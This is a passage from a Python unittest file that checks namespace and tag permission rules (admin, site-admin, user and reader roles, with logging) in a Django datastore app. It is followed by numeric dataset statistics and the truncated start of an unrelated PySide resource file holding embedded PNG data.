result["updated_on"], str(self.test_namespace.updated_on) ) self.assertEqual(3, len(result["tags"])) tag1 = result["tags"][0] tag2 = result["tags"][1] tag3 = result["tags"][2] # Tag 1 self.assertEqual(tag1["name"], self.public_tag_name) self.assertEqual(tag1["description"], self.public_tag_description) self.assertEqual(tag1["type_of"], "string") self.assertEqual(tag1["created_by"], self.site_admin_user.username) self.assertEqual(tag1["created_on"], str(self.public_tag.created_on)) self.assertFalse(tag1["private"]) self.assertEqual(tag1["updated_by"], self.site_admin_user.username) self.assertEqual(tag1["updated_on"], str(self.public_tag.updated_on)) self.assertEqual( tag1["users"], [ self.site_admin_user.username, ], ) self.assertEqual(tag1["readers"], []) # Tag 2 self.assertEqual(tag2["name"], self.reader_tag_name) self.assertEqual(tag2["description"], self.reader_tag_description) self.assertEqual(tag2["type_of"], "integer") self.assertEqual(tag2["created_by"], self.site_admin_user.username) self.assertEqual(tag2["created_on"], str(self.reader_tag.created_on)) self.assertTrue(tag2["private"]) self.assertEqual(tag2["updated_by"], self.site_admin_user.username) self.assertEqual(tag2["updated_on"], str(self.reader_tag.updated_on)) self.assertEqual( tag2["users"], [ self.site_admin_user.username, ], ) self.assertEqual( tag2["readers"], [ self.tag_reader.username, ], ) # Tag 3 self.assertEqual(tag3["name"], self.user_tag_name) self.assertEqual(tag3["description"], self.user_tag_description) self.assertEqual(tag3["type_of"], "boolean") self.assertEqual(tag3["created_by"], self.site_admin_user.username) self.assertEqual(tag3["created_on"], str(self.user_tag.created_on)) self.assertTrue(tag3["private"]) self.assertEqual(tag3["updated_by"], self.site_admin_user.username) self.assertEqual(tag3["updated_on"], str(self.user_tag.updated_on)) self.assertEqual( tag3["users"], [ self.site_admin_user.username, self.tag_user.username, ], ) self.assertEqual(tag3["readers"], []) def test_update_namespace_description_as_admin(self): """ Those with administrator privileges on the namesapce are able to update the namespace's description. """ new_description = "This is an updated namespace description." mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): result = logic.update_namespace_description( self.admin_user, self.namespace_name, new_description ) self.assertEqual(result.description, new_description) mock_logger.msg.assert_called_once_with( "Update namespace description.", user=self.admin_user.username, namespace=self.namespace_name, description=new_description, ) def test_update_namespace_description_as_site_admin(self): """ Those with site administrator privileges are able to update the namespace's description. """ new_description = "This is an updated namespace description." mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): result = logic.update_namespace_description( self.site_admin_user, self.namespace_name, new_description ) self.assertEqual(result.description, new_description) mock_logger.msg.assert_called_once_with( "Update namespace description.", user=self.site_admin_user.username, namespace=self.namespace_name, description=new_description, ) def test_update_namespace_description_as_normal_user(self): """ Normal users may not update a namespace's description - a PermissionError is raised as a result. """ new_description = "This is an updated namespace description." with self.assertRaises(PermissionError): logic.update_namespace_description( self.normal_user, self.namespace_name, new_description ) def test_add_namespace_admins_as_admin(self): """ Admin users are allowed to add other users to the admin role. """ new_admins = [self.normal_user, self.tag_reader] mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): result = logic.add_namespace_admins( self.admin_user, self.namespace_name, new_admins ) current_admins = result.admins.all() for user in new_admins: self.assertIn(user, current_admins) mock_logger.msg.assert_called_once_with( "Add namespace administrators.", user=self.admin_user.username, namespace=self.namespace_name, admins=[u.username for u in new_admins], ) def test_add_namespace_admins_as_site_admin(self): """ Site admin users are allowed to add other users to the admin role. """ new_admins = [self.normal_user, self.tag_reader] mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): result = logic.add_namespace_admins( self.site_admin_user, self.namespace_name, new_admins ) current_admins = result.admins.all() for user in new_admins: self.assertIn(user, current_admins) mock_logger.msg.assert_called_once_with( "Add namespace administrators.", user=self.site_admin_user.username, namespace=self.namespace_name, admins=[u.username for u in new_admins], ) def test_add_namespace_admins_as_normal_user(self): """ Normal users may not add other users to the admin role - a PermissionError is raised as a result. """ new_admins = [self.normal_user, self.tag_reader] with self.assertRaises(PermissionError): logic.add_namespace_admins( self.normal_user, self.namespace_name, new_admins ) def test_remove_namespace_admins_as_admin(self): """ Admin users are allowed to remove other users (including themselves) from the admin role. """ old_admins = [self.admin_user, self.tag_reader] mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): result = logic.remove_namespace_admins( self.admin_user, self.namespace_name, old_admins ) current_admins = result.admins.all() for user in old_admins: self.assertNotIn(user, current_admins) mock_logger.msg.assert_called_once_with( "Remove namespace administrators.", user=self.admin_user.username, namespace=self.namespace_name, admins=[u.username for u in old_admins], ) def test_remove_namespace_admins_as_site_admin(self): """ Site admin users are allowed to remove other users from the admin role. """ old_admins = [self.admin_user, self.tag_reader] mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): result = logic.remove_namespace_admins( self.site_admin_user, self.namespace_name, old_admins ) current_admins = result.admins.all() for user in old_admins: self.assertNotIn(user, current_admins) mock_logger.msg.assert_called_once_with( "Remove namespace administrators.", user=self.site_admin_user.username, namespace=self.namespace_name, admins=[u.username for u in old_admins], ) def test_remove_namespace_admins_as_normal_user(self): """ Normal users may not remove other users from the admin role - a PermissionError is raised as a result. """ old_admins = [ self.admin_user, ] with self.assertRaises(PermissionError): logic.remove_namespace_admins( self.normal_user, self.namespace_name, old_admins ) class TagTestCase(TestCase): """ Exercises the tag related administrative functions. """ def setUp(self): self.site_admin_user = models.User.objects.create_user( username="site_admin_user", email="test@user.com", password="password", is_superuser=True, ) self.admin_user = models.User.objects.create_user( username="admin_user", email="test2@user.com", password="password", ) self.tag_user = models.User.objects.create_user( username="tag_user", email="test3@user.com", password="password", ) self.tag_reader = models.User.objects.create_user( username="tag_reader", email="test4@user.com", password="password", ) self.normal_user = models.User.objects.create_user( username="normal_user", email="test5@user.com", password="password", ) self.namespace_name = "test_namespace" self.namespace_description = "This is a test namespace." self.test_namespace = logic.create_namespace( self.site_admin_user, self.namespace_name, self.namespace_description, admins=[ self.admin_user, ], ) self.public_tag_name = "public_tag" self.public_tag_description = "This is a public tag." self.public_tag_type_of = "s" self.public_tag = logic.create_tag( user=self.admin_user, name=self.public_tag_name, description=self.public_tag_description, type_of=self.public_tag_type_of, namespace=self.test_namespace, private=False, ) self.user_tag_name = "user_tag" self.user_tag_description = "This is a user tag." self.user_tag_type_of = "b" self.user_tag = logic.create_tag( user=self.admin_user, name=self.user_tag_name, description=self.user_tag_description, type_of=self.user_tag_type_of, namespace=self.test_namespace, private=True, users=[ self.tag_user, ], ) self.reader_tag_name = "reader_tag" self.reader_tag_description = "This is a reader tag." self.reader_tag_type_of = "i" self.reader_tag = logic.create_tag( user=self.admin_user, name=self.reader_tag_name, description=self.reader_tag_description, type_of=self.reader_tag_type_of, namespace=self.test_namespace, private=True, readers=[ self.tag_reader, ], ) def test_create_tag_as_site_admin(self): """ Ensure a site admin user who creates the tag is assigned the expected user role and the tag's creation is logged. """ name = "my_tag" description = "This is a test tag." type_of = "s" # string is_private = False mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): tag = logic.create_tag( self.site_admin_user, name, description, type_of, self.test_namespace, is_private, ) self.assertEqual(tag.name, name) self.assertEqual(tag.description, description) self.assertEqual(tag.type_of, type_of) self.assertEqual(tag.namespace, self.test_namespace) self.assertFalse(tag.private) self.assertIn(self.site_admin_user, tag.users.all()) self.assertEqual(0, len(tag.readers.all())) mock_logger.msg.assert_called_once_with( "Create tag.", user=self.site_admin_user.username, name=name, description=description, type_of=tag.get_type_of_display(), namespace=self.test_namespace.name, private=is_private, users=[ self.site_admin_user.username, ], readers=[], ) def test_create_tag_as_admin(self): """ Ensure a namespace admin user who creates the tag is assigned the expected user role and the tag's creation is logged. """ name = "my_tag" description = "This is a test tag." type_of = "s" # string is_private = False mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): tag = logic.create_tag( self.admin_user, name, description, type_of, self.test_namespace, is_private, ) self.assertEqual(tag.name, name) self.assertEqual(tag.description, description) self.assertEqual(tag.type_of, type_of) self.assertEqual(tag.namespace, self.test_namespace) self.assertFalse(tag.private) self.assertIn(self.admin_user, tag.users.all()) self.assertEqual(0, len(tag.readers.all())) mock_logger.msg.assert_called_once_with( "Create tag.", user=self.admin_user.username, name=name, description=description, type_of=tag.get_type_of_display(), namespace=self.test_namespace.name, private=is_private, users=[ self.admin_user.username, ], readers=[], ) def test_create_tag_with_users_and_readers_list(self): """ If there are users with users and readers roles passed into the create_tag function, then they are found with the expected roles in relation to the tag. """ name = "my_tag" description = "This is a test tag." type_of = "s" # string is_private = False users = [ self.tag_user, ] readers = [ self.tag_reader, ] mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): tag = logic.create_tag( self.site_admin_user, name, description, type_of, self.test_namespace, is_private, users, readers, ) self.assertEqual(tag.name, name) self.assertEqual(tag.description, description) self.assertEqual(tag.type_of, type_of) self.assertEqual(tag.namespace, self.test_namespace) self.assertFalse(tag.private) self.assertEqual(2, len(tag.users.all())) self.assertIn(self.site_admin_user, tag.users.all()) self.assertIn(self.tag_user, tag.users.all()) self.assertEqual(1, len(tag.readers.all())) self.assertIn(self.tag_reader, tag.readers.all()) mock_logger.msg.assert_called_once_with( "Create tag.", user=self.site_admin_user.username, name=name, description=description, type_of=tag.get_type_of_display(), namespace=self.test_namespace.name, private=is_private, users=[ self.site_admin_user.username, self.tag_user.username, ], readers=[ self.tag_reader.username, ], ) def test_create_tag_with_normal_user(self): """ A user who isn't a site admin or who has the role of admin for the referenced namespace cannot create a new tag. A PermissionError is raised instead. """ name = "my_tag" description = "This is a test tag." type_of = "s" # string is_private = False with self.assertRaises(PermissionError): logic.create_tag( self.normal_user, name, description, type_of, self.test_namespace, is_private, ) def test_get_tag_as_admin_user(self): """ Those with administrator privileges on the namespace are able to see the full metadata associated with the referenced tag. """ n = models.Namespace.objects.get(name=self.namespace_name) tag = models.Tag.objects.get(name=self.public_tag_name, namespace=n) result = logic.get_tag( self.admin_user, self.public_tag_name, self.namespace_name ) self.assertEqual(result["name"], tag.name) self.assertEqual(result["namespace"], n.name) self.assertEqual(result["description"], tag.description) self.assertEqual(result["path"], tag.path) self.assertEqual(result["type_of"], tag.get_type_of_display()) self.assertEqual(result["private"], tag.private) self.assertEqual( result["users"], [user.username for user in tag.users.all()] ) self.assertEqual( result["readers"], [reader.username for reader in tag.readers.all()], ) self.assertEqual(result["created_by"], tag.created_by.username) self.assertEqual(result["created_on"], str(tag.created_on)) self.assertEqual(result["updated_by"], tag.updated_by.username) self.assertEqual(result["updated_on"], str(tag.updated_on)) def test_get_tag_as_tag_user(self): """ Those with user privileges on the tag are able to see limited metadata associated with the referenced tag. """ n = models.Namespace.objects.get(name=self.namespace_name) tag = models.Tag.objects.get(name=self.public_tag_name, namespace=n) tag.users.add(self.tag_user) tag.private = True tag.save() result = logic.get_tag( self.tag_user, self.public_tag_name, self.namespace_name ) self.assertEqual(result["name"], tag.name) self.assertEqual(result["namespace"], n.name) self.assertEqual(result["description"], tag.description) self.assertEqual(result["path"], tag.path) self.assertEqual(result["type_of"], tag.get_type_of_display()) self.assertEqual(result["private"], tag.private) def test_get_tag_as_tag_reader(self): """ Those with reader privileges on the tag are able to see limited metadata associated with the referenced tag. """ n = models.Namespace.objects.get(name=self.namespace_name) tag = models.Tag.objects.get(name=self.public_tag_name, namespace=n) tag.readers.add(self.tag_reader) tag.private = True tag.save() result = logic.get_tag( self.tag_reader, self.public_tag_name, self.namespace_name ) self.assertEqual(result["name"], tag.name) self.assertEqual(result["namespace"], n.name) self.assertEqual(result["description"], tag.description) self.assertEqual(result["path"], tag.path) self.assertEqual(result["type_of"], tag.get_type_of_display()) self.assertEqual(result["private"], tag.private) def test_get_tag_as_normal_user(self): """ Normal users can see limited metadata associated with the referenced non-private tag. """ n = models.Namespace.objects.get(name=self.namespace_name) tag = models.Tag.objects.get(name=self.public_tag_name, namespace=n) result = logic.get_tag( self.normal_user, self.public_tag_name, self.namespace_name ) self.assertEqual(result["name"], tag.name) self.assertEqual(result["namespace"], n.name) self.assertEqual(result["description"], tag.description) self.assertEqual(result["path"], tag.path) self.assertEqual(result["type_of"], tag.get_type_of_display()) self.assertEqual(result["private"], tag.private) def test_get_tag_as_private_normal_user(self): """ Normal users cannot see any metadata associated with a non-private tag. Results in a PermissionError being thrown. """ n = models.Namespace.objects.get(name=self.namespace_name) tag = models.Tag.objects.get(name=self.public_tag_name, namespace=n) tag.private = True tag.save() with self.assertRaises(PermissionError): logic.get_tag( self.normal_user, self.public_tag_name, self.namespace_name ) def test_update_tag_description_as_admin(self): """ Those with administrator privileges on the namesapce are able to update the tag's description. """ new_description = "This is an updated tag description." mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): result = logic.update_tag_description( self.admin_user, self.public_tag_name, self.namespace_name, new_description, ) self.assertEqual(result.description, new_description) mock_logger.msg.assert_called_once_with( "Update tag description.", user=self.admin_user.username, tag=self.public_tag_name, namespace=self.namespace_name, description=new_description, ) def test_update_tag_description_as_site_admin(self): """ Those with site administrator privileges are able to update the tag's description. """ new_description = "This is an updated tag description." mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): result = logic.update_tag_description( self.site_admin_user, self.public_tag_name, self.namespace_name, new_description, ) self.assertEqual(result.description, new_description) mock_logger.msg.assert_called_once_with( "Update tag description.", user=self.site_admin_user.username, tag=self.public_tag_name, namespace=self.namespace_name, description=new_description, ) def test_update_tag_description_as_normal_user(self): """ Normal users may not update a namespace's description - a PermissionError is raised as a result. """ new_description = "This is an updated namespace description." with self.assertRaises(PermissionError): logic.update_tag_description( self.normal_user, self.public_tag_name, self.namespace_name, new_description, ) def test_set_tag_private_as_admin(self): """ Those with administrator privileges on the namesapce are able to update the tag's "private" flag. """ self.assertFalse(self.public_tag.private) mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): result = logic.set_tag_private( self.admin_user, self.public_tag_name, self.namespace_name, True, ) self.assertTrue(result.private) mock_logger.msg.assert_called_once_with( "Update tag privacy.", user=self.admin_user.username, tag=self.public_tag_name, namespace=self.namespace_name, private=True, ) def test_set_tag_private_as_site_admin(self): """ Those with site administrator privileges are able to update the tag's "private" flag. """ self.assertFalse(self.public_tag.private) mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): result = logic.set_tag_private( self.site_admin_user, self.public_tag_name, self.namespace_name, True, ) self.assertTrue(result.private) mock_logger.msg.assert_called_once_with( "Update tag privacy.", user=self.site_admin_user.username, tag=self.public_tag_name, namespace=self.namespace_name, private=True, ) def test_set_tag_private_as_normal_user(self): """ Normal users may not update a tag's "private" flag - a PermissionError is raised as a result. """ self.assertFalse(self.public_tag.private) with self.assertRaises(PermissionError): logic.set_tag_private( self.normal_user, self.public_tag_name, self.namespace_name, True, ) def test_add_tag_users_as_admin(self): """ Admin users are allowed to add users to the users role. """ new_users = [ self.normal_user, self.tag_user, ] mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): result = logic.add_tag_users( self.admin_user, self.public_tag_name, self.namespace_name, new_users, ) current_users = result.users.all() for user in new_users: self.assertIn(user, current_users) mock_logger.msg.assert_called_once_with( "Add tag users.", user=self.admin_user.username, tag=self.public_tag_name, namespace=self.namespace_name, users=[u.username for u in new_users], ) def test_add_tag_users_as_site_admin(self): """ Site admin users are allowed to add users to the users role for the tag. """ new_users = [ self.normal_user, self.tag_user, ] mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): result = logic.add_tag_users( self.site_admin_user, self.public_tag_name, self.namespace_name, new_users, ) current_users = result.users.all() for user in new_users: self.assertIn(user, current_users) mock_logger.msg.assert_called_once_with( "Add tag users.", user=self.site_admin_user.username, tag=self.public_tag_name, namespace=self.namespace_name, users=[u.username for u in new_users], ) def test_add_tag_users_as_normal_user(self): """ Normal users may not add other users to the users role - a PermissionError is raised as a result. """ new_users = [ self.normal_user, self.tag_user, ] with self.assertRaises(PermissionError): logic.add_tag_users( self.normal_user, self.public_tag_name, self.namespace_name, new_users, ) def test_remove_tag_users_as_admin(self): """ Admin users are allowed to remove other users (including themselves) from the users role associated with the tag. """ old_users = [self.tag_user] logic.add_tag_users( self.site_admin_user, self.public_tag_name, self.namespace_name, old_users, ) mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): result = logic.remove_tag_users( self.admin_user, self.public_tag_name, self.namespace_name, old_users, ) current_users = result.users.all() for user in old_users: self.assertNotIn(user, current_users) mock_logger.msg.assert_called_once_with( "Remove tag users.", user=self.admin_user.username, tag=self.public_tag_name, namespace=self.namespace_name, users=[u.username for u in old_users], ) def test_remove_tag_users_as_site_admin(self): """ Site admin users are allowed to remove other users from the tag's users role. """ old_users = [self.tag_user] logic.add_tag_users( self.site_admin_user, self.public_tag_name, self.namespace_name, old_users, ) mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): result = logic.remove_tag_users( self.site_admin_user, self.public_tag_name, self.namespace_name, old_users, ) current_users = result.users.all() for user in old_users: self.assertNotIn(user, current_users) mock_logger.msg.assert_called_once_with( "Remove tag users.", user=self.site_admin_user.username, tag=self.public_tag_name, namespace=self.namespace_name, users=[u.username for u in old_users], ) def test_remove_tag_users_as_normal_user(self): """ Normal users may not remove other users from the tag's users role - a PermissionError is raised as a result. """ old_users = [ self.tag_user, ] with self.assertRaises(PermissionError): logic.remove_tag_users( self.normal_user, self.public_tag_name, self.namespace_name, old_users, ) def test_add_tag_readers_as_admin(self): """ Admin users are allowed to add users to the readers role. """ new_readers = [ self.normal_user, self.tag_reader, ] mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): result = logic.add_tag_readers( self.admin_user, self.public_tag_name, self.namespace_name, new_readers, ) current_readers = result.readers.all() for user in new_readers: self.assertIn(user, current_readers) mock_logger.msg.assert_called_once_with( "Add tag readers.", user=self.admin_user.username, tag=self.public_tag_name, namespace=self.namespace_name, readers=[u.username for u in new_readers], ) def test_add_tag_readers_as_site_admin(self): """ Site admin users are allowed to add users to the readers role for the tag. """ new_readers = [ self.normal_user, self.tag_reader, ] mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): result = logic.add_tag_readers( self.site_admin_user, self.public_tag_name, self.namespace_name, new_readers, ) current_readers = result.readers.all() for user in new_readers: self.assertIn(user, current_readers) mock_logger.msg.assert_called_once_with( "Add tag readers.", user=self.site_admin_user.username, tag=self.public_tag_name, namespace=self.namespace_name, readers=[u.username for u in new_readers], ) def test_add_tag_readers_as_normal_user(self): """ Normal users may not add other users to the readers role - a PermissionError is raised as a result. """ new_readers = [ self.normal_user, self.tag_user, ] with self.assertRaises(PermissionError): logic.add_tag_readers( self.normal_user, self.public_tag_name, self.namespace_name, new_readers, ) def test_remove_tag_readers_as_admin(self): """ Admin users are allowed to remove other users (including themselves) from the readers role associated with the tag. """ old_readers = [self.tag_reader] logic.add_tag_readers( self.site_admin_user, self.public_tag_name, self.namespace_name, old_readers, ) mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): result = logic.remove_tag_readers( self.admin_user, self.public_tag_name, self.namespace_name, old_readers, ) current_readers = result.readers.all() for user in old_readers: self.assertNotIn(user, current_readers) mock_logger.msg.assert_called_once_with( "Remove tag readers.", user=self.admin_user.username, tag=self.public_tag_name, namespace=self.namespace_name, readers=[u.username for u in old_readers], ) def test_remove_tag_readers_as_site_admin(self): """ Site admin users are allowed to remove other users from the tag's readers role. """ old_readers = [self.tag_reader] logic.add_tag_readers( self.site_admin_user, self.public_tag_name, self.namespace_name, old_readers, ) mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): result = logic.remove_tag_readers( self.site_admin_user, self.public_tag_name, self.namespace_name, old_readers, ) current_readers = result.readers.all() for user in old_readers: self.assertNotIn(user, current_readers) mock_logger.msg.assert_called_once_with( "Remove tag readers.", user=self.site_admin_user.username, tag=self.public_tag_name, namespace=self.namespace_name, readers=[u.username for u in old_readers], ) def test_remove_tag_readers_as_normal_user(self): """ Normal users may not remove other users from the tag's readers role - a PermissionError is raised as a result. """ old_readers = [ self.tag_reader, ] with self.assertRaises(PermissionError): logic.remove_tag_readers( self.normal_user, self.public_tag_name, self.namespace_name, old_readers, ) def test_check_users_tags_as_admin_user(self): """ Given a user and a collection of namespace/tag tuples, ensure the expected True value is returned if the user has permission to use the referenced tags to annotate values onto objects. In this case, if a user is an admin of the parent namespace, the response is always True. """ tag_set = set( [ f"{self.namespace_name}/{self.public_tag_name}", f"{self.namespace_name}/{self.user_tag_name}", f"{self.namespace_name}/{self.reader_tag_name}", ] ) self.assertTrue(logic.check_users_tags(self.admin_user, tag_set)) def test_check_users_tags_as_site_admin(self): """ Given a user and a collection of namespace/tag tuples, ensure the expected True value is returned if the user has permission to use the referenced tags to annotate values onto objects. In this case, if a user is a site admin so the response is always True. """ tag_set = set( [ f"{self.namespace_name}/{self.public_tag_name}", f"{self.namespace_name}/{self.user_tag_name}", f"{self.namespace_name}/{self.reader_tag_name}", ] ) self.assertTrue(logic.check_users_tags(self.site_admin_user, tag_set)) def test_check_users_tags_as_normal_user(self): """ Given a user and a collection of namespace/tag tuples, ensure the expected True value is returned if the user has permission to use the referenced tags to annotate values onto objects. In this case, if a user is a normal user and the tags are not in scope with them, so the result will be False. """ tag_set = set( [ f"{self.namespace_name}/{self.public_tag_name}", f"{self.namespace_name}/{self.user_tag_name}", f"{self.namespace_name}/{self.reader_tag_name}", ] ) self.assertFalse(logic.check_users_tags(self.normal_user, tag_set)) def test_check_users_tags_as_tag_user(self): """ Given a user and a collection of namespace/tag tuples, ensure the expected True value is returned if the user has permission to use the referenced tags to annotate values onto objects. In this case, if a user is a tag user the response is True. If the tag collection contains a tag for which the user doesn't have the "user" role, then the response if False. """ tag_set = set( [ f"{self.namespace_name}/{self.user_tag_name}", ] ) self.assertTrue(logic.check_users_tags(self.tag_user, tag_set)) tag_set = set( [ f"{self.namespace_name}/{self.public_tag_name}", f"{self.namespace_name}/{self.user_tag_name}", ] ) self.assertFalse(logic.check_users_tags(self.tag_user, tag_set)) def test_check_users_tags_with_duplicate_tags(self): """ Given a user and a collection of namespace/tag tuples, ensure the expected True value is returned if the user has permission to use the referenced tags to annotate values onto objects. If there are duplicates of the same tag, this doesn't effect the outcome. """ tag_set = set( [ f"{self.namespace_name}/{self.user_tag_name}", f"{self.namespace_name}/{self.user_tag_name}", f"{self.namespace_name}/{self.user_tag_name}", f"{self.namespace_name}/{self.user_tag_name}", f"{self.namespace_name}/{self.user_tag_name}", ] ) self.assertTrue(logic.check_users_tags(self.tag_user, tag_set)) def test_check_users_tags_as_tag_reader(self): """ Given a user and a collection of namespace/tag tuples, ensure the expected True value is returned if the user has permission to use the referenced tags to annotate values onto objects. In this case, if a user is a tag reader the response is False because readers cannot use the tag to annotate (they can only read values associated with it), unless, of course, they are also have the "users" role. """ tag_set = set( [ f"{self.namespace_name}/{self.reader_tag_name}", ] ) self.assertFalse(logic.check_users_tags(self.tag_reader, tag_set)) def test_check_readers_tags_as_admin_user(self): """ Given a user and a collection of namespace/tag tuples, ensure the expected True value is returned if the user has permission to use the referenced tags to read values from objects. In this case, if a user is an admin of the parent namespace, the response is always True. """ tag_set = set( [ f"{self.namespace_name}/{self.public_tag_name}", f"{self.namespace_name}/{self.user_tag_name}", f"{self.namespace_name}/{self.reader_tag_name}", ] ) self.assertTrue(logic.check_readers_tags(self.admin_user, tag_set)) def test_check_readers_tags_as_site_admin(self): """ Given a user and a collection of namespace/tag tuples, ensure the expected True value is returned if the user has permission to use the referenced tags to read values from objects. In this case, if a user is a site admin so the response is always True. """ tag_set = set( [ f"{self.namespace_name}/{self.public_tag_name}", f"{self.namespace_name}/{self.user_tag_name}", f"{self.namespace_name}/{self.reader_tag_name}", ] ) self.assertTrue( logic.check_readers_tags(self.site_admin_user, tag_set) ) def test_check_readers_tags_as_normal_user(self): """ Given a user and a collection of namespace/tag tuples, ensure the expected True value is returned if the user has permission to use the referenced tags to read values from objects. In this case, if a user is a normal user and the tags are not in scope with them, so the result will be False. """ tag_set = set( [ f"{self.namespace_name}/{self.public_tag_name}", f"{self.namespace_name}/{self.user_tag_name}", f"{self.namespace_name}/{self.reader_tag_name}", ] ) self.assertFalse(logic.check_readers_tags(self.normal_user, tag_set)) def test_check_readers_tags_as_normal_user_public_tag(self): """ Given a user and a collection of namespace/tag tuples, ensure the expected True value is returned if the user has permission to use the referenced tags to read values from objects. In this case, if a user is a normal user and the tags are all public the result will be True. """ tag_set = set( [ f"{self.namespace_name}/{self.public_tag_name}", ] ) self.assertTrue(logic.check_readers_tags(self.normal_user, tag_set)) def test_check_readers_tags_as_tag_reader(self): """ Given a user and a collection of namespace/tag tuples, ensure the expected True value is returned if the user has permission to use the referenced tags to read values from objects. In this case, if a user is a tag reader the response is True. If the tag collection contains a tag for which the user doesn't have the "reader" role, then the response if False. """ tag_set = set( [ f"{self.namespace_name}/{self.reader_tag_name}", ] ) self.assertTrue(logic.check_readers_tags(self.tag_reader, tag_set)) tag_set = set( [ f"{self.namespace_name}/{self.reader_tag_name}", f"{self.namespace_name}/{self.user_tag_name}", ] ) self.assertFalse(logic.check_readers_tags(self.tag_reader, tag_set)) def test_check_readers_tags_with_duplicate_tags(self): """ Given a user and a collection of namespace/tag tuples, ensure the expected True value is returned if the user has permission to use the referenced tags to read values from objects. If there are duplicates of the same tag, this doesn't effect the outcome. """ tag_set = set( [ f"{self.namespace_name}/{self.reader_tag_name}", f"{self.namespace_name}/{self.reader_tag_name}", f"{self.namespace_name}/{self.reader_tag_name}", f"{self.namespace_name}/{self.reader_tag_name}", f"{self.namespace_name}/{self.reader_tag_name}", f"{self.namespace_name}/{self.reader_tag_name}", ] ) self.assertTrue(logic.check_readers_tags(self.tag_reader, tag_set)) def test_check_readers_tags_as_tag_user(self): """ Given a user and a collection of namespace/tag tuples, ensure the expected True value is returned if the user has permission to use the referenced tags to read values from objects. In this case, if a user is a tag user the response is True because users can always read tags for which they have permission to annotate data. """ tag_set = set( [ f"{self.namespace_name}/{self.reader_tag_name}", ] ) self.assertFalse(logic.check_readers_tags(self.tag_user, tag_set))
38.842767
79
0.6034
7,281
61,760
4.896992
0.046972
0.034553
0.052924
0.033375
0.909129
0.89289
0.879624
0.861618
0.848408
0.836769
0
0.002955
0.309553
61,760
1,589
80
38.867212
0.833193
0.178659
0
0.747871
0
0
0.09941
0.044787
0
0
0
0
0.198467
1
0.051107
false
0.008518
0.003407
0
0.056218
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
32c6ac2d1ddac81667e749919fb0dddba9976319
1,905
py
Python
install/app_store/tk-framework-qtwidgets/v2.6.6/python/shotgun_menus/ui/resources_rc.py
JoanAzpeitia/lp_sg
e0ee79555e419dd2ae3a5f31e5515b3f40b22a62
[ "MIT" ]
null
null
null
install/app_store/tk-framework-qtwidgets/v2.6.6/python/shotgun_menus/ui/resources_rc.py
JoanAzpeitia/lp_sg
e0ee79555e419dd2ae3a5f31e5515b3f40b22a62
[ "MIT" ]
null
null
null
install/app_store/tk-framework-qtwidgets/v2.6.6/python/shotgun_menus/ui/resources_rc.py
JoanAzpeitia/lp_sg
e0ee79555e419dd2ae3a5f31e5515b3f40b22a62
[ "MIT" ]
1
2020-02-15T10:42:56.000Z
2020-02-15T10:42:56.000Z
# -*- coding: utf-8 -*- # Resource object code # # by: The Resource Compiler for PySide (Qt v4.8.7) # # WARNING! All changes made in this file will be lost! from tank.platform.qt import QtCore qt_resource_data = "\x00\x00\x01q\x89PNG\x0d\x0a\x1a\x0a\x00\x00\x00\x0dIHDR\x00\x00\x00\x0c\x00\x00\x00\x0c\x08\x04\x00\x00\x00\xfc|\x94l\x00\x00\x00\x04gAMA\x00\x00\xb1\x8f\x0b\xfca\x05\x00\x00\x00 cHRM\x00\x00z&\x00\x00\x80\x84\x00\x00\xfa\x00\x00\x00\x80\xe8\x00\x00u0\x00\x00\xea`\x00\x00:\x98\x00\x00\x17p\x9c\xbaQ<\x00\x00\x00\x02bKGD\x00\xff\x87\x8f\xcc\xbf\x00\x00\x00\x09pHYs\x00\x00\x0b\x13\x00\x00\x0b\x13\x01\x00\x9a\x9c\x18\x00\x00\x00\x07tIME\x07\xe1\x03\x0e\x10\x10\x17c\x84[\x82\x00\x00\x00dIDAT\x18\xd3u\xd0\xb1\x0d\x800\x0cD\xd1o\xc4\x00\x19\x85\x8e\x1661\x1b\xb0QX\xe7h\x18\xc9\x14 \x22\x02q\xf9N\xb2|\xb6\xa01\x7f\x81\x12X`5g\x06\xe6\x9e/;0\x11(i-\xacP\xc8\x81@\x87B\xb9b,\xd8\x9d\x0cl\x80\x03\xcb\xb8\xdd\x81\xa1+\xa2\xf0s\xae\xbc,\xa9z\xc8_\x8c\xb5\x9aw\xad\x8f\x9c\xd0T1\x0f\xb3A'>\x00\x00\x00%tEXtdate:create\x002017-03-14T16:16:23-07:00&X7\x8a\x00\x00\x00%tEXtdate:modify\x002017-03-14T16:16:23-07:00W\x05\x8f6\x00\x00\x00\x00IEND\xaeB`\x82" qt_resource_name = "\x00$\x06\x906\x03\x00t\x00k\x00_\x00f\x00r\x00a\x00m\x00e\x00w\x00o\x00r\x00k\x00_\x00q\x00t\x00w\x00i\x00d\x00g\x00e\x00t\x00s\x00.\x00s\x00h\x00o\x00t\x00g\x00u\x00n\x00_\x00m\x00e\x00n\x00u\x00s\x00\x09\x0b\x9e\x84\x87\x00c\x00h\x00e\x00c\x00k\x00.\x00p\x00n\x00g" qt_resource_struct = 